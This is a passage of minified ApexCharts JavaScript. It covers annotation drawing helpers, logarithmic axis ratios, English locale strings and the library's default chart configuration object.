d=0;d<s.yRange.length;d++)r.push(s.yRange[d]/s.gridHeight);if(e=s.xRange/s.gridWidth,i=Math.abs(s.initialMaxX-s.initialMinX)/s.gridWidth,t=s.yRange/s.gridWidth,a=s.xRange/s.gridHeight,(o=s.zRange/s.gridHeight*16)||(o=1),s.minY!==Number.MIN_VALUE&&0!==Math.abs(s.minY)&&(s.hasNegs=!0),s.isMultipleYAxis){n=[];for(var g=0;g<r.length;g++)n.push(-s.minYArr[g]/r[g])}else n.push(-s.minY/r[0]),s.minY!==Number.MIN_VALUE&&0!==Math.abs(s.minY)&&(l=-s.minY/t,h=s.minX/e);return{yRatio:r,invertedYRatio:t,zRatio:o,xRatio:e,initialXRatio:i,invertedXRatio:a,baseLineInvertedY:l,baseLineY:n,baseLineX:h}}},{key:"getLogSeries",value:function(t){var e=this,i=this.w;return i.globals.seriesLog=t.map((function(t,a){return i.config.yaxis[a]&&i.config.yaxis[a].logarithmic?t.map((function(t){return null===t?null:e.getLogVal(i.config.yaxis[a].logBase,t,a)})):t})),i.globals.invalidLogScale?t:i.globals.seriesLog}},{key:"getBaseLog",value:function(t,e){return Math.log(e)/Math.log(t)}},{key:"getLogVal",value:function(t,e,i){if(0===e)return 0;var a=this.w,s=0===a.globals.minYArr[i]?-1:this.getBaseLog(t,a.globals.minYArr[i]),r=(0===a.globals.maxYArr[i]?0:this.getBaseLog(t,a.globals.maxYArr[i]))-s;return e<1?e/r:(this.getBaseLog(t,e)-s)/r}},{key:"getLogYRatios",value:function(t){var e=this,i=this.w,a=this.w.globals;return a.yLogRatio=t.slice(),a.logYRange=a.yRange.map((function(t,s){if(i.config.yaxis[s]&&e.w.config.yaxis[s].logarithmic){var r,o=-Number.MAX_VALUE,n=Number.MIN_VALUE;return a.seriesLog.forEach((function(t,e){t.forEach((function(t){i.config.yaxis[e]&&i.config.yaxis[e].logarithmic&&(o=Math.max(t,o),n=Math.min(t,n))}))})),r=Math.pow(a.yRange[s],Math.abs(n-o)/a.yRange[s]),a.yLogRatio[s]=r/a.gridHeight,r}})),a.invalidLogScale?t.slice():a.yLogRatio}}],[{key:"checkComboSeries",value:function(t){var e=!1,i=0,a=0;return t.length&&void 0!==t[0].type&&t.forEach((function(t){"bar"!==t.type&&"column"!==t.type&&"candlestick"!==t.type&&"boxPlot"!==t.type||i++,void 0!==t.type&&a++})),a>0&&(e=!0),{comboBarCount:i,comboCharts:e}}},{key:"extendArrayProps",value:function(t,e,i){return e.yaxis&&(e=t.extendYAxis(e,i)),e.annotations&&(e.annotations.yaxis&&(e=t.extendYAxisAnnotations(e)),e.annotations.xaxis&&(e=t.extendXAxisAnnotations(e)),e.annotations.points&&(e=t.extendPointAnnotations(e))),e}}]),t}(),w=function(){function t(e){a(this,t),this.w=e.w,this.annoCtx=e}return r(t,[{key:"setOrientations",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,i=this.w;if("vertical"===t.label.orientation){var a=null!==e?e:0,s=i.globals.dom.baseEl.querySelector(".apexcharts-xaxis-annotations .apexcharts-xaxis-annotation-label[rel='".concat(a,"']"));if(null!==s){var r=s.getBoundingClientRect();s.setAttribute("x",parseFloat(s.getAttribute("x"))-r.height+4),"top"===t.label.position?s.setAttribute("y",parseFloat(s.getAttribute("y"))+r.width):s.setAttribute("y",parseFloat(s.getAttribute("y"))-r.width);var o=this.annoCtx.graphics.rotateAroundCenter(s),n=o.x,l=o.y;s.setAttribute("transform","rotate(-90 ".concat(n," ").concat(l,")"))}}}},{key:"addBackgroundToAnno",value:function(t,e){var i=this.w;if(!t||void 0===e.label.text||void 0!==e.label.text&&!String(e.label.text).trim())return null;var a=i.globals.dom.baseEl.querySelector(".apexcharts-grid").getBoundingClientRect(),s=t.getBoundingClientRect(),r=e.label.style.padding.left,o=e.label.style.padding.right,n=e.label.style.padding.top,l=e.label.style.padding.bottom;"vertical"===e.label.orientation&&(n=e.label.style.padding.left,l=e.label.style.padding.right,r=e.label.style.padding.top,o=e.label.style.padding.bottom);var h=s.left-a.left-r,c=s.top-a.top-n,d=this.annoCtx.graphics.drawRect(h-i.globals.barPadForNumericAxis,c,s.width+r+o,s.height+n+l,e.label.borderRadius,e.label.style.background,1,e.label.borderWidth,e.label.borderColor,0);return e.id&&d.node.classList.add(e.id),d}},{key:"annotationsBackground",value:function(){var t=this,e=this.w,i=function(i,a,s){var r=e.globals.dom.baseEl.querySelector(".apexcharts-".concat(s,"-annotations .apexcharts-").concat(s,"-annotation-label[rel='").concat(a,"']"));if(r){var o=r.parentNode,n=t.addBackgroundToAnno(r,i);n&&(o.insertBefore(n.node,r),i.label.mouseEnter&&n.node.addEventListener("mouseenter",i.label.mouseEnter.bind(t,i)),i.label.mouseLeave&&n.node.addEventListener("mouseleave",i.label.mouseLeave.bind(t,i)),i.label.click&&n.node.addEventListener("click",i.label.click.bind(t,i)))}};e.config.annotations.xaxis.map((function(t,e){i(t,e,"xaxis")})),e.config.annotations.yaxis.map((function(t,e){i(t,e,"yaxis")})),e.config.annotations.points.map((function(t,e){i(t,e,"point")}))}},{key:"getY1Y2",value:function(t,e){var i,a="y1"===t?e.y:e.y2,s=this.w;if(this.annoCtx.invertAxis){var r=s.globals.labels.indexOf(a);s.config.xaxis.convertedCatToNumeric&&(r=s.globals.categoryLabels.indexOf(a));var o=s.globals.dom.baseEl.querySelector(".apexcharts-yaxis-texts-g text:nth-child("+(r+1)+")");o&&(i=parseFloat(o.getAttribute("y")))}else{var n;if(s.config.yaxis[e.yAxisIndex].logarithmic)n=(a=new y(this.annoCtx.ctx).getLogVal(a,e.yAxisIndex))/s.globals.yLogRatio[e.yAxisIndex];else n=(a-s.globals.minYArr[e.yAxisIndex])/(s.globals.yRange[e.yAxisIndex]/s.globals.gridHeight);i=s.globals.gridHeight-n,!e.marker||void 0!==e.y&&null!==e.y||(i=0),s.config.yaxis[e.yAxisIndex]&&s.config.yaxis[e.yAxisIndex].reversed&&(i=n)}return"string"==typeof a&&a.indexOf("px")>-1&&(i=parseFloat(a)),i}},{key:"getX1X2",value:function(t,e){var i=this.w,a=this.annoCtx.invertAxis?i.globals.minY:i.globals.minX,s=this.annoCtx.invertAxis?i.globals.maxY:i.globals.maxX,r=this.annoCtx.invertAxis?i.globals.yRange[0]:i.globals.xRange,o=(e.x-a)/(r/i.globals.gridWidth);this.annoCtx.inversedReversedAxis&&(o=(s-e.x)/(r/i.globals.gridWidth)),"category"!==i.config.xaxis.type&&!i.config.xaxis.convertedCatToNumeric||this.annoCtx.invertAxis||i.globals.dataFormatXNumeric||(o=this.getStringX(e.x));var n=(e.x2-a)/(r/i.globals.gridWidth);return this.annoCtx.inversedReversedAxis&&(n=(s-e.x2)/(r/i.globals.gridWidth)),"category"!==i.config.xaxis.type&&!i.config.xaxis.convertedCatToNumeric||this.annoCtx.invertAxis||i.globals.dataFormatXNumeric||(n=this.getStringX(e.x2)),void 0!==e.x&&null!==e.x||!e.marker||(o=i.globals.gridWidth),"x1"===t&&"string"==typeof e.x&&e.x.indexOf("px")>-1&&(o=parseFloat(e.x)),"x2"===t&&"string"==typeof e.x2&&e.x2.indexOf("px")>-1&&(n=parseFloat(e.x2)),"x1"===t?o:n}},{key:"getStringX",value:function(t){var e=this.w,i=t;e.config.xaxis.convertedCatToNumeric&&e.globals.categoryLabels.length&&(t=e.globals.categoryLabels.indexOf(t)+1);var a=e.globals.labels.indexOf(t),s=e.globals.dom.baseEl.querySelector(".apexcharts-xaxis-texts-g text:nth-child("+(a+1)+")");return s&&(i=parseFloat(s.getAttribute("x"))),i}}]),t}(),k=function(){function t(e){a(this,t),this.w=e.w,this.annoCtx=e,this.invertAxis=this.annoCtx.invertAxis,this.helpers=new w(this.annoCtx)}return r(t,[{key:"addXaxisAnnotation",value:function(t,e,i){var a,s=this.w,r=this.helpers.getX1X2("x1",t),o=t.label.text,n=t.strokeDashArray;if(x.isNumber(r)){if(null===t.x2||void 0===t.x2){var l=this.annoCtx.graphics.drawLine(r+t.offsetX,0+t.offsetY,r+t.offsetX,s.globals.gridHeight+t.offsetY,t.borderColor,n,t.borderWidth);e.appendChild(l.node),t.id&&l.node.classList.add(t.id)}else{if((a=this.helpers.getX1X2("x2",t))<r){var h=r;r=a,a=h}var c=this.annoCtx.graphics.drawRect(r+t.offsetX,0+t.offsetY,a-r,s.globals.gridHeight+t.offsetY,0,t.fillColor,t.opacity,1,t.borderColor,n);c.node.classList.add("apexcharts-annotation-rect"),c.attr("clip-path","url(#gridRectMask".concat(s.globals.cuid,")")),e.appendChild(c.node),t.id&&c.node.classList.add(t.id)}var d=this.annoCtx.graphics.getTextRects(o,parseFloat(t.label.style.fontSize)),g="top"===t.label.position?4:"center"===t.label.position?s.globals.gridHeight/2+("vertical"===t.label.orientation?d.width/2:0):s.globals.gridHeight,u=this.annoCtx.graphics.drawText({x:r+t.label.offsetX,y:g+t.label.offsetY-("vertical"===t.label.orientation?"top"===t.label.position?d.width/2-12:-d.width/2:0),text:o,textAnchor:t.label.textAnchor,fontSize:t.label.style.fontSize,fontFamily:t.label.style.fontFamily,fontWeight:t.label.style.fontWeight,foreColor:t.label.style.color,cssClass:"apexcharts-xaxis-annotation-label ".concat(t.label.style.cssClass," ").concat(t.id?t.id:"")});u.attr({rel:i}),e.appendChild(u.node),this.annoCtx.helpers.setOrientations(t,i)}}},{key:"drawXAxisAnnotations",value:function(){var t=this,e=this.w,i=this.annoCtx.graphics.group({class:"apexcharts-xaxis-annotations"});return e.config.annotations.xaxis.map((function(e,a){t.addXaxisAnnotation(e,i.node,a)})),i}}]),t}(),A=function(){function t(e){a(this,t),this.w=e.w,this.annoCtx=e,this.helpers=new w(this.annoCtx)}return r(t,[{key:"addYaxisAnnotation",value:function(t,e,i){var a,s=this.w,r=t.strokeDashArray,o=this.helpers.getY1Y2("y1",t),n=t.label.text;if(null===t.y2||void 0===t.y2){var l=this.annoCtx.graphics.drawLine(0+t.offsetX,o+t.offsetY,this._getYAxisAnnotationWidth(t),o+t.offsetY,t.borderColor,r,t.borderWidth);e.appendChild(l.node),t.id&&l.node.classList.add(t.id)}else{if((a=this.helpers.getY1Y2("y2",t))>o){var h=o;o=a,a=h}var c=this.annoCtx.graphics.drawRect(0+t.offsetX,a+t.offsetY,this._getYAxisAnnotationWidth(t),o-a,0,t.fillColor,t.opacity,1,t.borderColor,r);c.node.classList.add("apexcharts-annotation-rect"),c.attr("clip-path","url(#gridRectMask".concat(s.globals.cuid,")")),e.appendChild(c.node),t.id&&c.node.classList.add(t.id)}var d="right"===t.label.position?s.globals.gridWidth:"center"===t.label.position?s.globals.gridWidth/2:0,g=this.annoCtx.graphics.drawText({x:d+t.label.offsetX,y:(null!=a?a:o)+t.label.offsetY-3,text:n,textAnchor:t.label.textAnchor,fontSize:t.label.style.fontSize,fontFamily:t.label.style.fontFamily,fontWeight:t.label.style.fontWeight,foreColor:t.label.style.color,cssClass:"apexcharts-yaxis-annotation-label ".concat(t.label.style.cssClass," ").concat(t.id?t.id:"")});g.attr({rel:i}),e.appendChild(g.node)}},{key:"_getYAxisAnnotationWidth",value:function(t){var e=this.w;e.globals.gridWidth;return(t.width.indexOf("%")>-1?e.globals.gridWidth*parseInt(t.width,10)/100:parseInt(t.width,10))+t.offsetX}},{key:"drawYAxisAnnotations",value:function(){var t=this,e=this.w,i=this.annoCtx.graphics.group({class:"apexcharts-yaxis-annotations"});return e.config.annotations.yaxis.map((function(e,a){t.addYaxisAnnotation(e,i.node,a)})),i}}]),t}(),S=function(){function t(e){a(this,t),this.w=e.w,this.annoCtx=e,this.helpers=new w(this.annoCtx)}return r(t,[{key:"addPointAnnotation",value:function(t,e,i){this.w;var a=this.helpers.getX1X2("x1",t),s=this.helpers.getY1Y2("y1",t);if(x.isNumber(a)){var r={pSize:t.marker.size,pointStrokeWidth:t.marker.strokeWidth,pointFillColor:t.marker.fillColor,pointStrokeColor:t.marker.strokeColor,shape:t.marker.shape,pRadius:t.marker.radius,class:"apexcharts-point-annotation-marker ".concat(t.marker.cssClass," ").concat(t.id?t.id:"")},o=this.annoCtx.graphics.drawMarker(a+t.marker.offsetX,s+t.marker.offsetY,r);e.appendChild(o.node);var n=t.label.text?t.label.text:"",l=this.annoCtx.graphics.drawText({x:a+t.label.offsetX,y:s+t.label.offsetY-t.marker.size-parseFloat(t.label.style.fontSize)/1.6,text:n,textAnchor:t.label.textAnchor,fontSize:t.label.style.fontSize,fontFamily:t.label.style.fontFamily,fontWeight:t.label.style.fontWeight,foreColor:t.label.style.color,cssClass:"apexcharts-point-annotation-label ".concat(t.label.style.cssClass," ").concat(t.id?t.id:"")});if(l.attr({rel:i}),e.appendChild(l.node),t.customSVG.SVG){var h=this.annoCtx.graphics.group({class:"apexcharts-point-annotations-custom-svg "+t.customSVG.cssClass});h.attr({transform:"translate(".concat(a+t.customSVG.offsetX,", ").concat(s+t.customSVG.offsetY,")")}),h.node.innerHTML=t.customSVG.SVG,e.appendChild(h.node)}if(t.image.path){var c=t.image.width?t.image.width:20,d=t.image.height?t.image.height:20;o=this.annoCtx.addImage({x:a+t.image.offsetX-c/2,y:s+t.image.offsetY-d/2,width:c,height:d,path:t.image.path,appendTo:".apexcharts-point-annotations"})}t.mouseEnter&&o.node.addEventListener("mouseenter",t.mouseEnter.bind(this,t)),t.mouseLeave&&o.node.addEventListener("mouseleave",t.mouseLeave.bind(this,t)),t.click&&o.node.addEventListener("click",t.click.bind(this,t))}}},{key:"drawPointAnnotations",value:function(){var t=this,e=this.w,i=this.annoCtx.graphics.group({class:"apexcharts-point-annotations"});return e.config.annotations.points.map((function(e,a){t.addPointAnnotation(e,i.node,a)})),i}}]),t}();var C={name:"en",options:{months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],toolbar:{exportToSVG:"Download SVG",exportToPNG:"Download PNG",exportToCSV:"Download CSV",menu:"Menu",selection:"Selection",selectionZoom:"Selection Zoom",zoomIn:"Zoom In",zoomOut:"Zoom Out",pan:"Panning",reset:"Reset Zoom"}}},L=function(){function t(){a(this,t),this.yAxis={show:!0,showAlways:!1,showForNullSeries:!0,seriesName:void 0,opposite:!1,reversed:!1,logarithmic:!1,logBase:10,tickAmount:void 0,forceNiceScale:!1,max:void 0,min:void 0,floating:!1,decimalsInFloat:void 0,labels:{show:!0,minWidth:0,maxWidth:160,offsetX:0,offsetY:0,align:void 0,rotate:0,padding:20,style:{colors:[],fontSize:"11px",fontWeight:400,fontFamily:void 0,cssClass:""},formatter:void 0},axisBorder:{show:!1,color:"#e0e0e0",width:1,offsetX:0,offsetY:0},axisTicks:{show:!1,color:"#e0e0e0",width:6,offsetX:0,offsetY:0},title:{text:void 0,rotate:-90,offsetY:0,offsetX:0,style:{color:void 0,fontSize:"11px",fontWeight:900,fontFamily:void 0,cssClass:""}},tooltip:{enabled:!1,offsetX:0},crosshairs:{show:!0,position:"front",stroke:{color:"#b6b6b6",width:1,dashArray:0}}},this.pointAnnotation={id:void 0,x:0,y:null,yAxisIndex:0,seriesIndex:0,mouseEnter:void 0,mouseLeave:void 0,click:void 0,marker:{size:4,fillColor:"#fff",strokeWidth:2,strokeColor:"#333",shape:"circle",offsetX:0,offsetY:0,radius:2,cssClass:""},label:{borderColor:"#c2c2c2",borderWidth:1,borderRadius:2,text:void 0,textAnchor:"middle",offsetX:0,offsetY:0,mouseEnter:void 0,mouseLeave:void 0,click:void 0,style:{background:"#fff",color:void 0,fontSize:"11px",fontFamily:void 0,fontWeight:400,cssClass:"",padding:{left:5,right:5,top:2,bottom:2}}},customSVG:{SVG:void 0,cssClass:void 0,offsetX:0,offsetY:0},image:{path:void 0,width:20,height:20,offsetX:0,offsetY:0}},this.yAxisAnnotation={id:void 0,y:0,y2:null,strokeDashArray:1,fillColor:"#c2c2c2",borderColor:"#c2c2c2",borderWidth:1,opacity:.3,offsetX:0,offsetY:0,width:"100%",yAxisIndex:0,label:{borderColor:"#c2c2c2",borderWidth:1,borderRadius:2,text:void 0,textAnchor:"end",position:"right",offsetX:0,offsetY:-3,mouseEnter:void 0,mouseLeave:void 0,click:void 0,style:{background:"#fff",color:void 0,fontSize:"11px",fontFamily:void 0,fontWeight:400,cssClass:"",padding:{left:5,right:5,top:2,bottom:2}}}},this.xAxisAnnotation={id:void 0,x:0,x2:null,strokeDashArray:1,fillColor:"#c2c2c2",borderColor:"#c2c2c2",borderWidth:1,opacity:.3,offsetX:0,offsetY:0,label:{borderColor:"#c2c2c2",borderWidth:1,borderRadius:2,text:void 0,textAnchor:"middle",orientation:"vertical",position:"top",offsetX:0,offsetY:0,mouseEnter:void 0,mouseLeave:void 0,click:void 0,style:{background:"#fff",color:void 0,fontSize:"11px",fontFamily:void 0,fontWeight:400,cssClass:"",padding:{left:5,right:5,top:2,bottom:2}}}},this.text={x:0,y:0,text:"",textAnchor:"start",foreColor:void 0,fontSize:"13px",fontFamily:void 0,fontWeight:400,appendTo:".apexcharts-annotations",backgroundColor:"transparent",borderColor:"#c2c2c2",borderRadius:0,borderWidth:0,paddingLeft:4,paddingRight:4,paddingTop:2,paddingBottom:2}}return r(t,[{key:"init",value:function(){return{annotations:{yaxis:[this.yAxisAnnotation],xaxis:[this.xAxisAnnotation],points:[this.pointAnnotation],texts:[],images:[],shapes:[]},chart:{animations:{enabled:!0,easing:"easeinout",speed:800,animateGradually:{delay:150,enabled:!0},dynamicAnimation:{enabled:!0,speed:350}},background:"transparent",locales:[C],defaultLocale:"en",dropShadow:{enabled:!1,enabledOnSeries:void 0,top:2,left:2,blur:4,color:"#000",opacity:.35},events:{animationEnd:void 0,beforeMount:void 0,mounted:void 0,updated:void 0,click:void 0,mouseMove:void 0,mouseLeave:void 0,xAxisLabelClick:void 0,legendClick:void 0,markerClick:void 0,selection:void 0,dataPointSelection:void 0,dataPointMouseEnter:void 0,dataPointMouseLeave:void 0,beforeZoom:void 0,beforeResetZoom:void 0,zoomed:void 0,scrolled:void 0,brushScrolled:void 0},foreColor:"#373d3f",fontFamily:"system-ui, -apple-system,",height:"auto",parentHeightOffset:15,redrawOnParentResize:!0,redrawOnWindowResize:!0,id:void 0,group:void 0,offsetX:0,offsetY:0,selection:{enabled:!1,type:"x",fill:{color:"#24292e",opacity:.1},stroke:{width:1,color:"#24292e",opacity:.4,dashArray:3},xaxis:{min:void 0,max:void 0},yaxis:{min:void 0,max:void 0}},sparkline:{enabled:!1},brush:{enabled:!1,autoScaleYaxis:!0,target:void 0},stacked:!1,stackType:"normal",toolbar:{show:!0,offsetX:0,offsetY:0,tools:{download:!0,selection:!0,zoom:!0,zoomin:!0,zoomout:!0,pan:!0,reset:!0,customIcons:[]},export:{csv:{filename:void 0,columnDelimiter:",",headerCategory:"category",headerValue:"value",dateFormatter:function(t){return new Date(t).toDateString()}},png:{filename:void 0},svg:{filename:void 0}},autoSelected:"zoom"},type:"line",width:"100%",zoom:{enabled:!0,type:"x",autoScaleYaxis:!1,zoomedArea:{fill:{color:"#90CAF9",opacity:.4},stroke:{color:"#0D47A1",opacity:.4,width:1}}}},plotOptions:{area:{fillTo:"origin"},bar:{horizontal:!1,columnWidth:"70%",barHeight:"70%",distributed:!1,borderRadius:0,borderRadiusApplication:"around",borderRadiusWhenStacked:"last",rangeBarOverlap:!0,rangeBarGroupRows:!1,hideZeroBarsWhenGrouped:!1,isDumbbell:!1,dumbbellColors:void 0,isFunnel:!1,isFunnel3d:!0,colors:{ranges:[],backgroundBarColors:[],backgroundBarOpacity:1,backgroundBarRadius:0},dataLabels:{position:"top",maxItems:100,hideOverflowingLabels:!0,orientation:"horizontal",total:{enabled:!1,formatter:void 0,offsetX:0,offsetY:0,style:{color:"#373d3f",fontSize:"12px",fontFamily:void 0,fontWeight:600}}}},bubble:{zScaling:!0,minBubbleRadius:void 0,maxBubbleRadius:void 0},candlestick:{colors:{upward:"#00B746",downward:"#EF403C"},wick:{useFillColor:!0}},boxPlot:{colors:{upper:"#00E396",lower:"#008FFB"}},heatmap:{radius:2,enableShades:!0,shadeIntensity:.5,reverseNegativeShade:!1,distributed:!1,useFillColorAsStroke:!1,colorScale:{inverse:!1,ranges:[],min:void 0,max:void 0}},treemap:{enableShades:!0,shadeIntensity:.5,distributed:!1,reverseNegativeShade:!1,useFillColorAsStroke:!1,colorScale:{inverse:!1,ranges:[],min:void 0,max:void 0}},radialBar:{inverseOrder:!1,startAngle:0,endAngle:360,offsetX:0,offsetY:0,hollow:{margin:5,size:"50%",background:"transparent",image:void 0,imageWidth:150,imageHeight:150,imageOffsetX:0,imageOffsetY:0,imageClipped:!0,position:"front",dropShadow:{enabled:!1,top:0,left:0,blur:3,color:"#000",opacity:.5}},track:{show:!0,startAngle:void 0,endAngle:void 0,background:"#f2f2f2",strokeWidth:"97%",opacity:1,margin:5,dropShadow:{enabled:!1,top:0,left:0,blur:3,color:"#000",opacity:.5}},dataLabels:{show:!0,name:{show:!0,fontSize:"16px",fontFamily:void 0,fontWeight:600,color:void 0,offsetY:0,formatter:function(t){return t}},value:{show:!0,fontSize:"14px",fontFamily:void 0,fontWeight:400,color:void 0,offsetY:16,formatter:function(t){return t+"%"}},total:{show:!1,label:"Total",fontSize:"16px",fontWeight:600,fontFamily:void 0,color:void 0,formatter:function(t){return t.globals.seriesTotals.reduce((function(t,e){return t+e}),0)/t.globals.series.length+"%"}}}},pie:{customScale:1,offsetX:0,offsetY:0,startAngle:0,endAngle:360,expandOnClick:!0,dataLabels:{offset:0,minAngleToShowLabel:10},donut:{size:"65%",background:"transparent",labels:{show:!1,name:{show:!0,fontSize:"16px",fontFamily:void 0,fontWeight:600,color:void 0,offsetY:-10,formatter:function(t){return t}},value:{show:!0,fontSize:"20px",fontFamily:void 0,fontWeight:400,color:void 0,offsetY:10,formatter:function(t){return t}},total:{show:!1,showAlways:!1,label:"Total",fontSize:"16px",fontWeight:400,fontFamily:void 0,color:void 0,formatter:function(t){return t.globals.seriesTotals.reduce((function(t,e){return t+e}),0)}}}}},polarArea:{rings:{strokeWidth:1,strokeColor:"#e8e8e8"},spokes:{strokeWidth:1,connectorColors:"#e8e8e8"}},radar:{size:void 0,offsetX:0,offsetY:0,polygons:{strokeWidth:1,strokeColors:"#e8e8e8",connectorColors:"#e8e8e8",fill:{colors:void 0}}}},colors:void 0,dataLabels:{enabled:!0,enabledOnSeries:void 0,formatter:function(t){return null!==t?t:""},textAnchor:"middle",distributed:!1,offsetX:0,offsetY:0,style:{fontSize:"12px",fontFamily:void 0,fontWeight:600,colors:void 0},background:{enabled:!0,foreColor:"#fff",borderRadius:2,padding:4,opacity:.9,borderWidth:1,borderColor:"#fff",dropShadow:{enabled:!1,top:1,left:1,blur:1,color:"#000",opacity:.45}},dropShadow:{enabled:!1,top:1,left:1,blur:1,color:"#000",opacity:.45}},fill:{type:"solid",colors:void 0,opacity:.85,gradient:{shade:"dark",type:"horizontal",shadeIntensity:.5,gradientToColors:void 0,inverseColors:!0,opacityFrom:1,opacityTo:1,stops:[0,50,100],colorStops:[]},image:{src:[],width:void 0,height:void 0},pattern:{style:"squares",width:6,height:6,strokeWidth:2}},forecastDataPoints:{count:0,fillOpacity:.5,strokeWidth:void 0,dashArray:4},grid:{show:!0,borderColor:"#e0e0e0",strokeDashArray:0,position:"back",xaxis:{lines:{show:!1}},yaxis:{lines:{show:!0}},row:{colors:void 0,opacity:.5},column:{colors:void 0,opacity:.5},padding:{top:0,right:10,bottom:0,left:12}},labels:[],legend:{show:!0,showForSingleSeries:!1,showForNullSeries:!0,showForZeroSeries:!0,floating:!1,position:"bottom",horizontalAlign:"center",inverseOrder:!1,fontSize:"12px",fontFamily:void 0,fontWeight:400,width:void 0,height:void 0,formatter:void 0,tooltipHoverFormatter:void 0,offsetX:-20,offsetY:4,customLegendItems:[],labels:{colors:void 0,useSeriesColors:!1},markers:{width:12,height:12,strokeWidth:0,fillColors:void 0,strokeColor:"#fff",radius:12,customHTML:void 0,offsetX:0,offsetY:0,onClick:void 0},itemMargin:{horizontal:5,vertical:2},onItemClick:{toggleDataSeries:!0},onItemHover:{highlightDataSeries:!0}},markers:{discrete:[],size:0,colors:void 0,strokeColors:"#fff",strokeWidth:2,strokeOpacity:.9,strokeDashArray:0,fillOpacity:1,shape:"circle",width:8,height:8,radius:2,offsetX:0,offsetY:0,onClick:void 0,onDblClick:void 0,showNullDataPoints:!0,hover:{size:void 0,sizeOffset:3}},noData:{text:void 0,align:"center",verticalAlign:"middle",offsetX:0,offsetY:0,style:{color:void 0,fontSize:"14px",fontFamily:void 0}},responsive:[],series:void 0,states:{normal:{filter:{type:"none",value:0}},hover:{filter:{type:"lighten",value:.1}},active:{allowMultipleDataPointsSelection:!1,filter:{type:"darken",value:.5}}},title:{text:void 0,align:"left",margin:5,offsetX:0,offsetY:0,floating:!1,style:{fontSize:"14px",fontWeight:900,fontFamily:void 0,color:void 0}},subtitle:{text:void 0,align:"left",margin:5,offsetX:0,offsetY:30,floating:!1,style:{fontSize:"12px",fontWeight:400,fontFamily:void 0,color:void 0}},stroke:{show:!0,curve:"smooth",lineCap:"butt",width:2,colors:void 0,dashArray:0,fill:{type:"solid",colors:void 0,opacity:.85,gradient:{shade:"dark",type:"horizontal",shadeIntensity:.5,gradientToColors:void 0,inverseColors:!0,opacityFrom:1,opacityTo:1,stops:[0,50,100],colorStops:[]}}},tooltip:{enabled:!0,enabledOnSeries:void 0,shared:!0,followCursor:!1,intersect:!1,inverseOrder:!1,custom:void 0,fillSeriesColor:!1,theme:"light",cssClass:"",style:{fontSize:"12px",fontFamily:void 0},onDatasetHover:{highlightDataSeries:!1},x:{show:!0,format:"dd MMM",formatter:void 0},y:{formatter:void 0,title:{formatter:function(t){return t?t+": ":""}}},z:{formatter:void 0,title:"Size: "},marker:{show:!0,fillColors:void 0},items:{display:"flex"},fixed:{enabled:!1,position:"topRight",offsetX:0,offsetY:0}},xaxis:{type:"category",categories:[],convertedCatToNumeric:!1,offsetX:0,offsetY:0,overwriteCategories:void 0,labels:{show:!0,rotate:-45,rotateAlways:!1,hideOverlappingLabels:!0,trim:!1,minHeight:void 0,maxHeight:120,showDuplicates:!0,style:{colors:[],fontSize:"12px",fontWeight:400,fontFamily:void 0,cssClass:""},offsetX:0,offsetY:0,format:void 0,formatter:void 0,datetimeUTC:!0,datetimeFormatter:{year:"yyyy",month:"MMM 'yy",day:"dd MMM",hour:"HH:mm",minute:"HH:mm:ss",second:"HH:mm:ss"}},group:{groups:[],style:{colors:[],fontSize:"12px",fontWeight:400,fontFamily:void 0,cssClass:""}},axisBorder:{show:!0,color:"#e0e0e0",width:"100%",height:1,offsetX:0,offsetY:0},axisTicks:{show:!0,color:"#e0e0e0",height:6,offsetX:0,offsetY:0},tickAmount:void 0,tickPlacement:"on",min:void 0,max:void 0,range:void 0,floating:!1,decimalsInFloat:void 0,position:"bottom",title:{text:void 0,offsetX:0,offsetY:0,style:{color:void 0,fontSize:"12px",fontWeight:900,fontFamily:void 0,cssClass:""}},crosshairs:{show:!0,width:1,position:"back",opacity:.9,stroke:{color:"#b6b6b6",width:1,dashArray:3},fill:{type:"solid",color:"#B1B9C4",gradient:{colorFrom:"#D8E3F0",colorTo:"#BED1E6",stops:[0,100],opacityFrom:.4,opacityTo:.5}},dropShadow:{enabled:!1,left:0,top:0,blur:1,opacity:.4}},tooltip:{enabled:!0,offsetY:0,formatter:void 0,style:{fontSize:"12px",fontFamily:void 0}}},yaxis:this.yAxis,theme:{mode:"light",palette:"palette1",monochrome:{enabled:!1,color:"#008FFB",shadeTo:"light",shadeIntensity:.65}}}}}]),t}(),P=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.graphics=new m(this.ctx),this.w.globals.isBarHorizontal&&(this.invertAxis=!0),this.helpers=new w(this),this.xAxisAnnotations=new k(this),this.yAxisAnnotations=new A(this),this.pointsAnnotations=new S(this),this.w.globals.isBarHorizontal&&this.w.config.yaxis[0].reversed&&(this.inversedReversedAxis=!0),this.xDivision=this.w.globals.gridWidth/this.w.globals.dataPoints}return r(t,[{key:"drawAxesAnnotations",value:function(){var t=this.w;if(t.globals.axisCharts){for(var e=this.yAxisAnnotations.drawYAxisAnnotations(),i=this.xAxisAnnotations.drawXAxisAnnotations(),a=this.pointsAnnotations.drawPointAnnotations(),s=t.config.chart.animations.enabled,r=[e,i,a],o=[i.node,e.node,a.node],n=0;n<3;n++)t.globals.dom.elGraphical.add(r[n]),!s||t.globals.resized||t.globals.dataChanged||"scatter"!==t.config.chart.type&&"bubble"!==t.config.chart.type&&t.globals.dataPoints>1&&o[n].classList.add("apexcharts-element-hidden"),t.globals.delayedElements.push({el:o[n],index:0});this.helpers.annotationsBackground()}}},{key:"drawImageAnnos",value:function(){var t=this;this.w.config.annotations.images.map((function(e,i){t.addImage(e,i)}))}},{key:"drawTextAnnos",value:function(){var t=this;this.w.config.annotations.texts.map((function(e,i){t.addText(e,i)}))}},{key:"addXaxisAnnotation",value:function(t,e,i){this.xAxisAnnotations.addXaxisAnnotation(t,e,i)}},{key:"addYaxisAnnotation",value:function(t,e,i){this.yAxisAnnotations.addYaxisAnnotation(t,e,i)}},{key:"addPointAnnotation",value:function(t,e,i){this.pointsAnnotations.addPointAnnotation(t,e,i)}},{key:"addText",value:function(t,e){var i=t.x,a=t.y,s=t.text,r=t.textAnchor,o=t.foreColor,n=t.fontSize,l=t.fontFamily,h=t.fontWeight,c=t.cssClass,d=t.backgroundColor,g=t.borderWidth,u=t.strokeDashArray,p=t.borderRadius,f=t.borderColor,x=t.appendTo,b=void 